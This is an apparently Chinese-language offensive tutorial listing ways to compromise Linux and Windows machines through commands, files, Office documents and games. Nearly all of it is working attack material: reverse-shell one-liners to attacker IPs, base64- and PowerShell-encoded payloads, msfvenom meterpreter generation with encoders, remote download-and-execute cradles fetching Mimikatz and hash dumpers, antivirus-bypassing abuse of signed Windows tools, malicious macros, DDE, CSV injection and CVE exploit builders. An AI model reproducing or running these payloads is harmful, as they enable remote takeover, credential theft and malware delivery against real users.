此文章主要是列举双击一个文件,执行一条命令,运行一个游戏能造成哪些危害。
一、 Linux文件
从linux说开去,linux光执行命令就能造成很多危害,大名鼎鼎的一句话反弹。
bash -i >& /dev/tcp/192.168.163.132/2333 0>&1
base64变形
{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2My4xMzIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}
用nc的方法
nc -e /bin/sh 192.168.163.132 2333
Python变形
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.163.132",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
同理,将这三条命令写入.sh文件(bash脚本),或者将python代码写进去也可以。当然,这些都需要nc(netcat)配合,需要提前在192.168.163.132上输入。nc -lvp 8088
既然提到了nc,就不得不介绍一下nc几种其他的常用方法。
一般是想办法在靶机上执行bash命令,然后恶意云服务器上用nc监听端口,用靶机去连恶意服务器,这是反弹shell。当然也可以正向连接,比如用恶意服务器去连接靶机的ssh,就是正向shell。ssh ubuntu@192.168.163.132
nc也支持正向shell,但由于防火墙或者nat技术,用的比较少。nc -lvp 8088 -e /bin/sh (靶机执行)nc 192.168.163.132 8088 (恶意服务器执行)
很多服务器都将-e功能删除了,只能这样。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.163.132 8088 >/tmp/f
长时间监听某端口,可以看tcp流量。nc -lk 8088
探测端口nc -vz 127.0.0.1 20-30
传递文件nc -lvp 4444 < 1.txt (恶意服务器执行)nc 192.168.163.132 4444 > 1.txt (靶机执行)
除了python之外, php,perl,java等常见语言也可以
php -r '$sock=fsockopen("192.168.163.132",8088);exec("/bin/sh -i &3 2>&3");'
perl -e 'use Socket;$i="192.168.163.132";$p=8088;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
java需要编译。
echo 'public class Test { public static void main(String[] args) throws Exception { Runtime.getRuntime().exec("bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2My4xMzIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}"); } }' > Test.javajavac Test.javajava Test
也可以用gcc编译二进制文件运行并执行命令。
echo -e '#include\n#include \n int main()\n {\nsystem("id");\n}' > id.cgcc id.c./a.out
这些当然已经有现成的项目可以自动生成,那就是msfvenom。
搜索想要的payload
msfvenom -l payloads | grep 'cmd/unix'
选择想要的payload
msfvenom -p "cmd/unix/reverse_netcat" lhost=192.168.163.132 lport=8088
No platform和No arch的提示是未输入-a x86 --platform Linux,可以省略
选择想要的payload并输出成文件
msfvenom -p "cmd/unix/reverse_python" lhost=192.168.162.132 lport=8088 -o test.py
接收端除了使用nc,也可以使用msfconsole的exploit/multi/handler
use exploit/multi/handlerset lhost 192.168.162.132set lport 8088show payloads #展示payload)set payload cmd/unix/reverse_netcatset exitonsession false #后台接受多个shell,run -jrun
既然已经用到了msf,显然没有必要使用原始的linux shell,通常我们会选择更强大的meterpreter
msfvenom -l encodersmsfvenom -p "linux/x64/meterpreter/reverse_tcp" lhost=192.168.162.132 lport=8088 -e x86/shikata_ga_nai -i 5 -f elf -o test.elf
二、 Windows文件之powershell
当然,更多,更丰富的文件危害存在于windows系统中,nc传cmdshell,meterpreter这些和linux都是一样的。nc -lvp 8088 -e cmd
windows系统没有bash也默认没有nc,所以通常在windows系统中执行某个文件来反弹shell,最典型的是exe(exe后缀可改为scr,com,bat,cmd)
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.162.132 lport=8088 -e x86/shikata_ga_nai -i 5 -f exe -o 1.exe
也可以用msfvenom生成执行单一命令的文件
msfvenom -p windows/exec cmd="calc.exe" exitfunc=thread -f exe -o 1.exe
可以查看更多文件生成,比如asp,aspx,jsp,jar等等msfvenom -l formats
既然是文件,那就涉及如何下载文件的问题,linux中有好用的curl和wget,甚至nc,ssh都能下载文件。Windows则是用常见的三个工具,powershell,certutil,bitsadmin。
powershell (new-object System.Net.WebClient).DownloadFile('http://www.baidu.com/1.exe','D:\downloads\a.exe');start-process D:\downloads\a.exe
certutil -urlcache -split -f http://www.baidu.com/1.exe D:\downloads\a.exe
bitsadmin /transfer n http://www.baidu.com/1.exe D:\downloads\a.exe
除此之外,双平台还有ftp,自写服务器支持的脚本运行等方法,后者以vbs举例。
echo Set xPost = createObject("Microsoft.XMLHTTP") >D:\dc.vbsecho xPost.Open "GET"," http://www.baidu.com/1.exe ",0 >>D:\dc.vbsecho xPost.Send() >>D:\dc.vbsecho Set sGet = createObject("ADODB.Stream") >>D:\dc.vbsecho sGet.Mode = 3 >>D:\dc.vbsecho sGet.Type = 1 >>D:\dc.vbsecho sGet.Open() >>D:\dc.vbsecho sGet.Write(xPost.responseBody) >>D:\dc.vbsecho sGet.SaveToFile "D:\dc.exe",2 >>D:\dc.vbs
最近win10被曝出来一个可以下载文件的漏洞。
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2008.9-0\MpCmdRun.exe -DownloadFile -url http://www.baidu.com/1.exe -path D:\1.txt
这其中以powershell最佳,因为powershell可以文件不落地执行ps1脚本。
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.159.134 -p 6666 -e cmd
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
编码
powershell -exec bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBhAG0AcgBhAHQAYQBzAGgAbwBrAC8AbgBpAHMAaABhAG4AZwAvAG0AYQBzAHQAZQByAC8ARwBhAHQAaABlAHIALwBHAGUAdAAtAFAAYQBzAHMASABhAHMAaABlAHMALgBwAHMAMQAnACkAOwBHAGUAdAAtAFAAYQBzAHMASABhAHMAaABlAHMAOwA=
本地执行有签名和安全机制,需要这样执行
powershell -exec Bypass "Import-Module .\Get-PassHashes.ps1;Get-PassHashes"
meterpreter上线
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8088 -f psh-reflection > shell.ps1powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/shell.ps1');
隐藏窗口
powershell -NoP -sta -w hidden -NonI –c IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/shell.ps1');
shellcode分离加载
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8088 -f powershell -o shell.ps1powershell IEX (New-Object Net.WebClient).DownloadString(' https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1'); IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/shell.ps1'); Invoke-Shellcode -Shellcode ($buf) -Force
更多项目见https://github.com/PowerShellMafia/PowerSploit
三、 Windows文件之白名单
Powershell可以执行nc,mimkatz,meterpreter等,甚至能无文件落地远程加载,windows上也存在其他方式可以达到类似效果。
Msiexec
msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8088 msi -o 1.msimsiexec /q /i http://192.168.1.1/1.msi
Mshta
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.1 LPORT=8088 -f raw > shellcode.binbase64 shellcode.bin -w 0 > 1.txt
将1.txt复制到如下code变量中,然后本地双击hta文件或者远程加载即可
https://github.com/luoke90hou/files/blob/main/CACTUSTORCH.hta
mshta http://192.168.1.1/CACTUSTORCH.hta
也可以简单一点用msfvenom的hta-psh
msfvenom -p windows/exec cmd="calc.exe" exitfunc=thread -f hta-psh > 1.hta
InstallUtil
.net工具集,路径如下。C:\Windows\Microsoft.NET\Framework\v2.0.50727\
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\
C:\Windows\Microsoft.NET\Framework\v4.0.30319\
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\
收集来的C#版工具如下。
nchttps://github.com/luoke90hou/files/blob/main/SharpCat.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:"SharpCat.exe" /platform:anycpu "SharpCat.cs"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U SharpCat.exe
powershell
https://github.com/luoke90hou/files/blob/main/pshell.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe/reference:"C:\windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll"/out:powershell.exe pshell.csC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe/logfile= /LogToConsole=false /U powershell.exe
Mimikatz
https://github.com/luoke90hou/files/blob/main/Mimikatz.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Mimikatz.dll /unsafe Mimikatz.csC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U Mimikatz.dll
Shellcode
https://github.com/luoke90hou/files/blob/main/InstallUtil-Shellcode.cs
msfvenom -pwindows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.1LPORT=8088 -b '\x00' -f csharp > shellcode.txtC:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe/out:Shellcode.exe /platform:anycpu InstallUtil-Shellcode.csC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe/logfile= /LogToConsole=false /U Shellcode.exe
Regsvcs/Regasm
和InstallUtil一样是.net工具集,Regsvcs需要snk加密
System.Management.Automation.dll路径和snk文件生成方式
C:\Windows\winsxs\msil_system.management.automation_31bf3856ad364e35_6.1.7601.17514_none_236c706c3e93d144\System.Management.Automation.dllC:\windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll"C:\Program Files (x86)\Microsoft Visual Studio 8\SDK\v2.0\Bin\sn.exe" -k key.snk
Shellcodehttps://github.com/luoke90hou/files/blob/main/regsvcs.cs
msfvenom -pwindows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.1LPORT=8088 -b '\x00' -f csharp > shellcode.txtC:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe/r:System.EnterpriseServices.dll /target:library /out:regsvcs.dll/keyfile:key.snk regsvcs.csC:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe/U regsvcs.dllC:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exeregsvcs.dll
Mimikatz
https://github.com/luoke90hou/files/blob/main/katz.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe/r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library/out:regsvcs.dll /keyfile:key.snk /unsafe katz.csC:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exeregsvcs.dllC:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe/U regsvcs.dll
MSBuild
https://github.com/luoke90hou/files/blob/main/msbuild.xml
msbuild.xml可为公网SMB服务器共享远程加载
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.1 LPORT=8088 -b '\x00' -f csharp > shellcode.txtC:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe msbuild.xml
https://github.com/luoke90hou/files/blob/main/mimikatz.xml
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe mimikatz.xml
Compiler
nc
https://github.com/luoke90hou/files/blob/main/REV.txt
https://github.com/luoke90hou/files/blob/main/Rev.Shell
C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exeREV.txt Rev.Shell
Meterpreter
https://github.com/luoke90hou/files/blob/main/Rev.shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.1 LPORT=8088 -b '\x00' -f csharp > shellcode.txtC:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.shellcode
Odbcconf
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8088 -f dll > 1.dllOdbcconf /a {regsvr D:\Downloads\1.dll}
CScript/WScript
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8088 -f vbs > 1.vbs
.wsh只需要将如上vbs代码添加加xml标签即可,注意名称最好为英文
<package><job id="IncludeExample"> <script language="VBScript"> vbs codescript>job>package>
cscript.exe a.wsh
.js加载shellcode需要vs编译,还需要用到序列化项目,仅以test弹窗为例,注入shellcode参考https://mp.weixin.qq.com/s/jzWHq7Yc1UjOwnXulIAPKQ
也可以简单一点,新建1.js
var objShell;objShell=new ActiveXObject("WScript.Shell");var iReturnCode=objShell.Run("calc",0,true);
序列化项目下载如下https://github.com/tyranid/DotNetToJScripthttps://github.com/tyranid/DotNetToJScript/blob/master/ExampleAssembly/TestClass.cs
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc/target:library /out:test.dll /unsafe TestClass.csDotNetToJScript.exe -o test.js test.dllCscript test.js
此外还存在已经序列化好的项目
https://github.com/luoke90hou/files/blob/main/StarFighter.js
Powershell执行
$code = 'start calc.exe'$bytes = [System.Text.Encoding]::UNICODE.GetBytes($code);$encoded = [System.Convert]::ToBase64String($bytes)$encoded
得到cwB0AGEAcgB0ACAAYwBhAGwAYwAuAGUAeABlAA==
替换var EncodedPayload = 即可Rundll32
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8088 -f dll > 1.dllrundll32 shell32.dll,Control_RunDLL D:\1.dll
注意本地加载需要绝对路径,也可以执行js代码
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
远程加载sct文件,使用CScript /WScript中生成的test.dll
DotNetToJScript.exe -m -o=test.sct -v 4 -d test.dllrundll32 javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://192.168.1.1/test.sct");window.close();
Regsvr32
可远程加载sct文件,使用Rundll32中生成的test.sct,先修改xml规范如下,然后重命名为test2.sct
<?XML version="1.0"?><scriptlet><registration progid="PoC" classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > <script language="JScript"> var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]>script>registration>scriptlet>
regsvr32.exe /n /u /i:http://192.168.1.1/test2.sct scrobj.dll
Cmstp
本地可加载dll和sct。
新建cmstp.inf
[version]Signature=$chicago$AdvancedINF=2.5[DefaultInstall_SingleUser]RegisterOCXs=RegisterOCXSection[RegisterOCXSection]D:\cmstp.dll[Strings]AppAct = "SOFTWARE\Microsoft\Connection Manager"ServiceName="tidesec"ShortSvcName="tidesec"
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8088 -f dll > cmstp.dllcmstp /ni /s cmstp.inf
还可以远程加载sct,cmstp.inf本身也可以用公网smb服务器加载
[version]Signature=$chicago$AdvancedINF=2.5[DefaultInstall_SingleUser]UnRegisterOCXs=UnRegisterOCXSection[UnRegisterOCXSection]%11%\scrobj.dll,NI,http://192.168.1.1/test2.sct[Strings]AppAct = "SOFTWARE\Microsoft\Connection Manager"ServiceName="tidesec"ShortSvcName="tidesec"
保存为cmstp.inf,使用Regsvr32中生成的test2.sctcmstp /ni /s cmstp.inf
Wmic
可远程执行js,新建xsl文件如下
<?xml version='1.0'?><stylesheetxmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"xmlns:user="placeholder"version="1.0"><output method="text"/> <ms:script implements-prefix="user" language="JScript"> var r = new ActiveXObject("WScript.Shell").Run("calc"); ]]> ms:script>stylesheet>
wmic os get /FORMAT:"http://192.168.1.1/1.xsl"
更多白名单见https://github.com/TideSec/BypassAntiVirus/tree/03e4a91c36530f7df5cf9d1c23a0fbb3f2dbde91
四、 Windows文件之office
CSV注入
最简单的csv注入,新建一个txt,内容写入三句中的任意一句
@SUM(cmd|' /C calc'!A0)=cmd|' /C calc'!A0-3+3+cmd|' /C calc'!A0
改为csv,再另存为xls或者xlsx,常见于各种数据导出当中。WPS无效,office中存在安全机制
XXE
xlsx,docx,pptx均可以zip解压,可在[Content_Types].xml文件中插入xxe
]><a>&xxe;a>
如果服务器可以上传并解析此类office文件则会产生xxe,也可以尝试其他xml文件
比如poi-ooxml低版本存在CVE-2014-3529/CVE-2014-3574/CVE-2016-5000/CVE-2017-5644
CVE-2017-11882
影响版本Office 2016及以下,RTF栈溢出漏洞,刚出时只能插入43b数据,导致只能以mshta方式执行,现在能插入17k数据了。https://github.com/Ridter/CVE-2017-11882/blob/master/Command43b_CVE-2017-11882.py
python Command43b_CVE-2017-11882.py -c "mshta http://luoke.cn/1.hta" -o test.doc
https://github.com/unamer/CVE-2017-11882/blob/master/CVE-2017-11882.py
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8088 -f raw -o shellcode.binpython CVE-2017-11882.py -c shellcode.bin -t 0 -i 1 -o test.doc
后续还有CVE-2018-0802https://github.com/Ridter/RTF_11882_0802
python RTF_11882_0802.py -c "mshta http://luoke.cn/1.hta" -o test.doc
此外,CVE-2017-8759/CVE-2017-8570/CVE-2017-0199/CVE-2015-1641/CVE-2014-6352/CVE-2014-4114/CVE-2012-0158/CVE-2011-0104/CVE-2010-3333都为曾经流行过的office文档利用漏洞。宏
宏为office中的vba语言,以word为例,仅在doc和docm文件中可运行,并且也有保护。
简单制作vba调powershell的宏
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8088 -f vba-psh
新建docx文档——视图——宏——查看宏(alt+F8)——宏的位置当前文件——创建
默认的NewMacros模块中直接复制vba代码。
关闭,另存为doc或者docm文档,再打开即可,如果要使用docx文件,可以远程加载模板来触发宏。
Excel步骤完全一样,如果碰到不执行的情况,可能是AutoOpen()要改成Auto_Open()
使用自定义控件可以更具迷惑性
开发者工具——旧式窗体——其他控件——Microsoft InkEdit Control——vba代码
DDE
Ctrl+F9调出,在大括号中添加如下代码,保存后打开,存在保护DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"
目录穿越之后调powershell会有迷惑性
{DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -w hidden -NonI -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.1/shell.ps1'); " "图片无法加载"}
五、 Windows文件之其他
rarCVE-2018-20250, ace格式导致,WinRAR < 5.70 Beta 1 Bandizip< = 6.2.0.0 好压(2345压缩) < = 5.9.8.10907 360压缩< = 4.0.0.1170均有此漏洞。原理是解压到当前文件夹时可以解压至任意目录,一般是解压可自动启的文件至Startup。https://github.com/WyAtu/CVE-2018-20250
下载exp.py,修改相关参数,win7自启动路径如下/ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
/Users\administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
如果环境变量设置为python3而不是py -3,搜索py -3 acefile.py修改成python acefile.py
python3 exp.py
CVE-2010-2883,影响Adobe Reader 8.2.4 - 9.3.4
use exploit/windows/fileformat/adobe_cooltype_singset payload windows/meterpreter/reverse_tcpset LHOST 192.168.1.1set LPORT 8088set FILENAME test.pdfrun
Adobe系漏洞众多,不一一列举,此外由于支持JavaScript,也被用于xss,常用于任意url跳转
迅捷pdf——缩略图——属性——打开页面——编辑动作——app.alert('xss')
FlashCVE-2018-4878,影响Adobe Flash Player 28.0.0.137及更早版本https://github.com/anbai-inc/CVE-2018-4878
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8088 -f python >shellcode.txt
python cve-2018-4878.py
去掉广告和linux路径即可
同样由于Adobe系漏洞众多,不一一列举。
Html(js,IE)
Js可用activex调WScript.Shell或者Shell.Application执行命令,此处和前面CScript/WScript相关。更加简单粗暴的方法如下,建立1.html(或者去掉script标签保存为js,双击或者html引用都可以)
<script>var objShell;objShell=new ActiveXObject("WScript.Shell");var iReturnCode=objShell.Run("calc",0,true);script>
存在安全保护
CVE-2020-0674,UAF漏洞(释放后重用)
https://github.com/maxpl0it/CVE-2020-0674-Exploit
IE漏洞也众多,大量UAF,不一一列举。
Chm
需安装htmlhelphttps://www.microsoft.com/en-us/download/details.aspx?id=21138
其原理是chm用js调activex控件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8088 -f psh-reflection -o shell.ps1powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Client/Out-CHM.ps1');Out-CHM -PayloadURL http://192.168.1.1/shell.ps1 -Arguments Check-VM -HHCPath 'C:\Program Files (x86)\HTML Help Workshop\'
生成doc.chm,双击即可,不过存在黑框,去掉黑框可尝白名单中其他远程加载方法。
Lnk
CVE-2017-8464,新建一个快捷方式
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8088 -f psh-reflection -o shell.ps1powershell -NoP -sta -w hidden -NonI –c IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/shell.ps1');
右键属性可修改图标
SettingContent-ms
Win10引用的快捷方式,和lnk类似,双击即可
<?xml version="1.0" encoding="UTF-8"?><PCSettings> <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent"> <ApplicationInformation> <AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanelAppID> <DeepLink>%windir%\system32\cmd.exe /c calc.exeDeepLink> <Icon>%windir%\system32\control.exeIcon> ApplicationInformation> <SettingIdentity> <PageID>PageID> <HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}HostID> SettingIdentity> <SettingInformation> <Description>@shell32.dll,-4161Description> <Keywords>@shell32.dll,-4161Keywords> SettingInformation> SearchableContent>PCSettings>
Url
注意mscorsvw.exe不是唯一载荷,任意运行时自动加载dll的exe均可被劫持。需要公网smb服务器,新建txt内容如下,改名为1.url
[InternetShortcut]URL=file:///C:\Windows\winsxs\x86_netfx-mscorsvw_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_f47d7472a4c4e67e\mscorsvw.exeWorkingDirectory=\\192.168.1.1\Users\
Msf生成恶意mscorsvc.dll,放入Users文件夹并共享,最后双击url即可上线
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8088 -f dll > mscorsvc.dll
六、 Windows文件之游戏
War3
War3支持jass语言,可用于文件写入,早期利用是写入bat文件至Startup目录,后来被人研究出一个类型强制转化导致任意内存读写的漏洞,现在收费地图都基于这一原理制作。当然也可以被用于加载shellcode。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8088 -f dll > mv.txt
https://github.com/luoke90hou/files/blob/main/%E7%9B%B8%E5%85%B3%E6%96%87%E4%BB%B6.zip
用HkeW3mModifier打开测试地图.w3x,替换掉mv.txt,重新打包
然后用1.24E版本war3加载地图,游戏中输入-LS,会在根目录生成MV.txt,作为dll加载。MV.txt不会覆盖,所以如果有此文件先删掉。
mugen
1999年的游戏,加载人物存在各种溢出BUG,常被用来做人物杀伤力,也可以载入汇编代码,以下为一个选择即让电脑重启的人物。https://github.com/luoke90hou/files/blob/main/%E5%86%8D%E8%B5%B7%E5%8B%95(Reboot).zip
16进制打开Reboot.st(取消只读),发现汇编注入重启命令
ff d5【s】c7 40 14【hutd】c7 40 18【own 】90 c7 05 c8 40 4b 0d 0a【/r /】c7 40 20【t 0】0d 0a 90 b8
参考其他人物,注入代码ff d5【m】c7 40 14【shta】c7 40 18【 htt】90 c7 05 c8 40 4b 0d 0a【p://】c7 40 20【11.】0d 0a c7 40 23【111.】c7 40 27【111.】90 c7 05 d7 40 4b 0d 0a【111/】90 c7 05 db 40 4b 0d 0a【shel】90 c7 05 df 40 4b 0d 0a【lco.】90 c7 05 e3 40 4b 0d 0a【txt】0d 0a 90 b8mshta http://11.111.111.111/shellco.txt
使用winmugen打开加载人物即可上线,效果见
https://www.bilibili.com/video/BV1bi4y177pp
有问题可以联系邮箱sonomon@126.com,不常看晚回见谅